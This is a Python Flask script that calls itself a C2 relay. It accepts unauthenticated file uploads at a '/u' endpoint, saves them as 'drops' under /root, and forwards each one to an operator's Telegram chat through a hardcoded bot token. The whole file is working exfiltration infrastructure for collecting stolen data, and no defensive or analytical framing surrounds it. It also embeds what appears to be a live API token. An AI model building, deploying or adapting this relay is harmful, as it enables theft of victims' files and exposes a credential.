#!/usr/bin/env python3
import os, sys, time, logging
from pathlib import Path
from flask import Flask, request, jsonify
import requests

BOT_TOKEN = "8919423891:AAHqBQ29bDnhss__qRS7atSxrcTHblUZI5s"
API_BASE  = f"https://api.telegram.org/bot{BOT_TOKEN}"
DROPS_DIR = Path("/root/drops")
CHAT_ID   = None

logging.basicConfig(level=logging.INFO, format="%(asctime)s | %(levelname)-7s | %(message)s", handlers=[logging.StreamHandler(sys.stdout)])
log = logging.getLogger("c2")
app = Flask(__name__)

def ensure_dirs():
    DROPS_DIR.mkdir(parents=True, exist_ok=True)

def tg_get_updates(limit=10):
    try:
        r = requests.get(f"{API_BASE}/getUpdates", params={"limit": limit}, timeout=10)
        if r.status_code == 200:
            return r.json().get("result", [])
    except Exception as e:
        log.error("getUpdates exc: %s", e)
    return []

def discover_chat_id():
    global CHAT_ID
    for upd in tg_get_updates():
        msg = upd.get("message") or upd.get("callback_query", {}).get("message")
        if msg:
            CHAT_ID = msg["chat"]["id"]
            log.info("Discovered chat_id = %s", CHAT_ID)
            return
    log.warning("No chat_id yet. Send any message to the bot to register.")

def tg_send_doc(fp: Path, caption: str = ""):
    if CHAT_ID is None:
        log.error("No CHAT_ID configured; skipping Telegram forward")
        return False
    try:
        with open(fp, "rb") as f:
            files = {"document": f}
            data  = {"chat_id": CHAT_ID, "caption": caption[:1024]}
            r = requests.post(f"{API_BASE}/sendDocument", data=data, files=files, timeout=30)
            if r.status_code == 200:
                log.info("Telegram OK: %s", fp.name)
                return True
            log.error("Telegram HTTP %s: %s", r.status_code, r.text[:200])
    except Exception as e:
        log.error("Telegram exc: %s", e)
    return False

@app.route("/", methods=["GET"])
def health():
    return jsonify(status="up", chat_id=CHAT_ID, drops=str(DROPS_DIR)), 200

@app.route("/u", methods=["POST"])
def upload():
    if "file" not in request.files:
        log.warning("Missing file field in POST")
        return "", 400
    fobj = request.files["file"]
    name = fobj.filename or "unknown"
    ts   = int(time.time())
    saved = DROPS_DIR / f"{ts}_{name}"
    try:
        fobj.save(saved)
        log.info("Saved %s (%s bytes)", saved.name, saved.stat().st_size)
    except Exception as e:
        log.error("Save failed: %s", e)
        return "", 500
    tg_send_doc(saved, caption=f"Drop: {name}")
    return "", 200

if __name__ == "__main__":
    ensure_dirs()
    discover_chat_id()
    from waitress import serve
    log.info("C2 relay listening on 0.0.0.0:80")
    serve(app, host="0.0.0.0", port=80, threads=8)
